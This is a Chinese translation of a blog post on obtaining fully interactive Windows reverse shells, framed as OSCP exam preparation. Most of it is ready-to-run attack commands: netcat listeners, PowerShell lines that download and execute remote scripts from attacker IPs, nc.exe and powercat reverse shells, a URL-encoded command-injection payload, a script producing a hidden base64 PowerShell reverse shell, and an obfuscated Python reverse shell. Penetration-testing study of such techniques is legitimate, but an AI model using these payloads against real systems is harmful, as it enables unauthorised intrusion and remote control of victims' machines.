简介
在本文中,我们将探讨获取完全交互式 Windows 反向 Shell 的各种方法,从利用内置工具到采用先进技术以获得更好的控制和功能。
通过 Invoke-ConPtyShell
我获取完全交互式 Windows 反向 Shell 的首选方法是通过 Invoke-ConPtyShell
脚本。当 Windows Shell 不提供任何输出并出现奇怪的行为时(例如,无法启动 mimikatz、winpeas 等),此方法非常有用。
位置:/usr/share/nishang/Shells/Invoke-ConPtyShell.ps1
将 Invoke-ConPtyShell.ps1
复制到当前工作目录:
cp /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1 .
通过以下方式托管该文件:
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
在 Kali(攻击机)上:
stty raw -echo; (stty size; cat) | nc -lvnp 9001
- 设置在 9001 端口上的 netcat 监听器
在目标机器上:
[powershell] IEX(IWR http://192.168.45.236:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.236 9001
注意:如果此方法失败且您无法升级您的 Shell,请尝试通过 nc64.exe
(如下所示)生成一个新的反向 Shell,然后再次尝试 Invoke-ConPtyShell
。
netcat (nc.exe)
下载 nc64.exe 二进制文件。
.\nc.exe -e cmd.exe <攻击者IP> <端口>
注意:请确保运行一个监听处理程序来捕获我们的连接。
Powershell
在 Powershell 中,有多种方法可以生成反向 Shell。
使用 IWR
下载自定义的 shell.ps1
脚本,并通过 IEX
执行它。
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
直接下载并执行您的自定义 Powershell 脚本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
替代方案 A:
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
替代方案 B:
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
Powercat.ps1
另一个用于生成反向 Shell 的强大工具是 Powercat
。
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
下载 powercat.ps1
脚本并执行它以连接到我们在 9001 端口上的监听器。
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.196:8081/powercat.ps1");powercat -c 192.168.45.196 -p 9001 -e powershell
假设我们在一个 Web 应用程序的 command
参数中存在(远程)代码执行漏洞。我们可以使用命令注入来下载我们的 powercat 脚本并运行它,以与目标服务器建立反向 Shell 连接。
curl -X POST --data 'command=%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.196:8081%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.196:8081%20-p%209001%20-e%20powershell' http://192.168.45.196:8081/evil_endpoint
generate_powershell_reverse.py
我最喜欢的在 Powershell 中生成 base64 编码反向 Shell 的方法是使用这个脚本:
import sys
import base64payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.236",9443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()print(cmd)
只需更改 local ip
和 local port
,然后通过 python3 generate_powershell_reverse.py
运行它。
它将为您提供类似的输出,因此无需担心后端过滤(例如,特殊字符、空格)。
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUA...
python
如果被入侵的 Windows 主机安装了 python
,我们可以使用它来生成反向 Shell:
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
结论
掌握这些获取完全交互式 Windows 反向 Shell 的方法是一项实用的技能,可以显著提高您在 OSCP 考试中的表现。它将帮助您更深入地访问和控制目标 Windows 系统。
原文链接:https://www.zekosec.com/blog/interactive-windows-reverse-shell/